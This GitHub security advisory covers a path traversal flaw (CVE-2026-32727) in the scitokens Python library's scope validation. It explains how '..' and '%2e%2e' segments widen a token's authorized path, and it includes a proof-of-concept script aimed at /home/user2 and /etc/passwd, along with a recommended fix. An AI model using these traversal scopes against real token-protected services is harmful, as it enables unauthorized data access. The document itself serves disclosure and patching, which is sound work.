Skip to content

SciTokens has an Authorization Bypass via Path Traversal in Scope Validation

High severity GitHub Reviewed Published Mar 30, 2026 in scitokens/scitokens • Updated Mar 31, 2026

Package

pip scitokens (pip)

Affected versions

< 1.9.7

Patched versions

1.9.7

Description

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

  1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
  2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:
    return requested_path.startswith(allowed_path + '/')
    # "/home/user2".startswith("/home/") is True

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

  • Scope: read:/home/user1/.. -> Access Granted to: /home/user2
  • Scope: read:/anything/.. -> Access Granted to: /etc/passwd
  • Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar


import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

References

@djw8605 djw8605 published to scitokens/scitokens Mar 30, 2026
Published by the National Vulnerability Database Mar 31, 2026
Published to the GitHub Advisory Database Mar 31, 2026
Reviewed Mar 31, 2026
Last updated Mar 31, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-32727

GHSA ID

GHSA-3x2w-63fp-3qvw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.